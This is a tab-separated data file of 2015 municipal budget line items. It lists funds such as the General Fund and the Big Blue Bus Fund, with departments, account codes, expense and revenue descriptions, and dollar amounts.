14246	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522180.0	BANK FEES		 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
14247	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	4352.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4352.0
14248	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	28598.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28598.0
14249	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	812.0	 Supplies and Expenses	2015	5035.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5035.0
14250	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	407050.0	GEN PROM BUS LIC - PICO	622.0	Other	2015	-4300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4300.0
14251	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566970.0	FINGERPRINTING	806.0	 Supplies and Expenses	2015	62000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	62000.0
14252	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522312.0	DISCOUNTS LOST	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14253	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2015	56376.0	0	0	0	0	0	0.0	0	0	0	0	0.0	56376.0
14254	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	603	SPECIAL SERVICES		CONTRACT SVCS - PARATRANSIT SV		 Supplies and Expenses	2015	652029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	652029.0
14255	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT-WISE		 Supplies and Expenses	2015	-600000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-600000.0
14256	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	400430.0	LIBRARY FEES	612.0	Charges for Service	2015	-3200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3200.0
14257	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544011.0	SPEC DEPT SUPPLIES-LIT GRANT	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14258	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522180.0	BANK FEES		 Supplies and Expenses	2015	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
14259	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522180.0	BANK FEES		 Supplies and Expenses	2015	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
14260	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	1446.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1446.0
14261	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2015	32386.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32386.0
14262	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533640.0	CONF / MTGS / TRAVEL-TW	804.0	 Supplies and Expenses	2015	7268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7268.0
14263	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533080.0	MARTIN LUTHER KING DAY	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14264	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS	908.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14265	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401130.0	SPORTS LEAGUES	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14266	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	407150.0	SALE OF RECYCLED WATER	650.0	Charges for Service	2015	-200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200000.0
14267	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	910.0	 Supplies and Expenses	2015	60248.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60248.0
14268	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2015	77185.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77185.0
14269	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2015	1527.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1527.0
14270	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	178405.0	0	0	0	0	0	0.0	0	0	0	0	0.0	178405.0
14271	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588060.0	MOTOR VEHICLES	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14272	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14273	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588040.0	COMMUNICATIONS SYSTEMS		 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
14274	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566630.0	STORM DRAIN MAINTENANCE		 Supplies and Expenses	2015	178150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	178150.0
14275	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577220.0	INTEREST EXPENSE - BONDS		 Supplies and Expenses	2015	266550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	266550.0
14276	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	22100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22100.0
14277	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569000.0	CULTURAL/ARTS GRANTS	810.0	 Supplies and Expenses	2015	110100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	110100.0
14278	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC	910.0	 Supplies and Expenses	2015	31687.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31687.0
14279	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522311.0	DISCOUNTS AVAILABLE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14280	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2015	-11025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11025.0
14281	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	566709.0	0	0	0	0	0	0.0	0	0	0	0	0.0	566709.0
14282	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	37000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37000.0
14283	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	21956.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21956.0
14284	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522180.0	BANK FEES		 Supplies and Expenses	2015	28000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28000.0
14285	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
14286	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14287	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2015	58548.0	0	0	0	0	0	0.0	0	0	0	0	0.0	58548.0
14288	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2015	4601515.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4601515.0
14289	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	17584.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17584.0
14290	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2015	120800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120800.0
14291	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	133989.0	0	0	0	0	0	0.0	0	0	0	0	0.0	133989.0
14292	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2015	24086.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24086.0
14293	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2015	357.0	0	0	0	0	0	0.0	0	0	0	0	0.0	357.0
14294	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555120.0	LA SEWAGE DISPOSAL		 Supplies and Expenses	2015	6819643.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6819643.0
14295	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522620.0	RENT	810.0	 Supplies and Expenses	2015	71884.0	0	0	0	0	0	0.0	0	0	0	0	0.0	71884.0
14296	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14297	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511490.0	OVERTIME	816.0	Salaries and Wages	2015	5251.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5251.0
14298	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	402730.0	SMURRF-CITY OF LA-O & M	650.0	Charges for Service	2015	-72900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-72900.0
14299	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
14300	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300000.0
14301	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522330.0	INVENTORY ISSUES		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14302	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522312.0	DISCOUNTS LOST	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14303	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	1734.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1734.0
14304	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555011.0	CONTRACTUAL SERVICES-LIT GRANT	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14305	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	37702.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37702.0
14306	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2015	-22333.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-22333.0
14307	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402430.0	SELF-INSURANCE WORKERS COMP	650.0	Charges for Service	2015	-12800001.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12800001.0
14308	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405080.0	SALE OF MUNICIPAL CODES	612.0	Charges for Service	2015	-200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200.0
14309	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14310	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401030.0	HAZ MAT RESPONSE RECOVERY	622.0	Other	2015	-2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2000.0
14311	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404590.0	SUBDIVISION MAP FEES	612.0	Charges for Service	2015	-11466.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11466.0
14312	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2015	27627.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27627.0
14313	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14314	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2015	27944.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27944.0
14315	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522100.0	EXPERT WITNESS COSTS	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14316	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2015	16740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16740.0
14317	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555210.0	TRAINING	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14318	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404090.0	LEASE RENTAL REVENUE	662.0	Other	2015	-1758672.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1758672.0
14319	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405820.0	PROP C - BSIP	658.0	Sales Tax	2015	-769264.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-769264.0
14320	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2015	7868.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7868.0
14321	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511681.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14322	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511681.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14323	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	2051.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2051.0
14324	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2015	107.0	0	0	0	0	0	0.0	0	0	0	0	0.0	107.0
14325	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407080.0	30 DAY IMPOUND FEE	612.0	Charges for Service	2015	-104018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-104018.0
14326	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2015	122.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122.0
14327	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	72901.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72901.0
14328	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2015	11025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11025.0
14329	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	7000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7000.0
14330	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
14331	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511490.0	OVERTIME		Salaries and Wages	2015	15142.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15142.0
14332	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	577065.0	MEMBERSHIP FEES		 Supplies and Expenses	2015	1415.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1415.0
14333	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2015	44920.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44920.0
14334	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522545.0	AD SALES (BBB)		 Supplies and Expenses	2015	176200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	176200.0
14335	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522545.0	AD SALES (BBB)		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14336	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	566230.0	BEACH PARKING LOT MAINTENANCE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14337	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2015	545734.0	0	0	0	0	0	0.0	0	0	0	0	0.0	545734.0
14338	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
14339	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404210.0	OTHER OPER REV-ADVERTISING	650.0	Charges for Service	2015	-2000000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2000000.0
14340	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407020.0	PROP C TRANSIT SECURITY	658.0	Sales Tax	2015	-1087742.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1087742.0
14341	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE	910.0	 Supplies and Expenses	2015	101284.0	0	0	0	0	0	0.0	0	0	0	0	0.0	101284.0
14342	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2015	29948.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29948.0
14343	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PRINTING - GENERAL		 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
14344	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2015	1209.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1209.0
14345	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
14346	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14347	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14348	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544111.0	PRINTED FORMS-LIT GRANT	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14349	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522180.0	BANK FEES		 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
14350	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533650.0	CONF / MTGS / TRAVEL-TV	804.0	 Supplies and Expenses	2015	7268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7268.0
14351	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14352	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	20360.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20360.0
14353	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2015	-217900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-217900.0
14354	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400770.0	LEASE RENTAL REV-BEACH CLUB	618.0	Rentals	2015	-409822.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-409822.0
14355	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401270.0	LEASED BEACH CONCESSIONS	612.0	Charges for Service	2015	-648991.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-648991.0
14356	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401810.0	ENCROACHMENT REVENUE	622.0	Other	2015	-81389.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-81389.0
14357	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555020.0	OUTSIDE SERVICE-SECURITY		 Supplies and Expenses	2015	476000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	476000.0
14358	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	942678.0	0	0	0	0	0	0.0	0	0	0	0	0.0	942678.0
14359	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407380.0	MILES CUSTOMER CLASSES	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14360	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
14361	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		PRINTING - GENERAL		 Supplies and Expenses	2015	150000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150000.0
14362	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2015	-5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5000.0
14363	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578530.0	TRANSFER TO PIER FUND	910.0	 Supplies and Expenses	2015	909069.0	0	0	0	0	0	0.0	0	0	0	0	0.0	909069.0
14364	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578530.0	TRANSFER FROM GENERAL FUND	908.0	 Supplies and Expenses	2015	-909069.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-909069.0
14365	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400360.0	SMARS SOCIAL PROGRAM	612.0	Charges for Service	2015	-3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3500.0
14366	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407560.0	SPECIAL INSPECTION FEES	612.0	Charges for Service	2015	-20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20000.0
14367	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	154585.0	0	0	0	0	0	0.0	0	0	0	0	0.0	154585.0
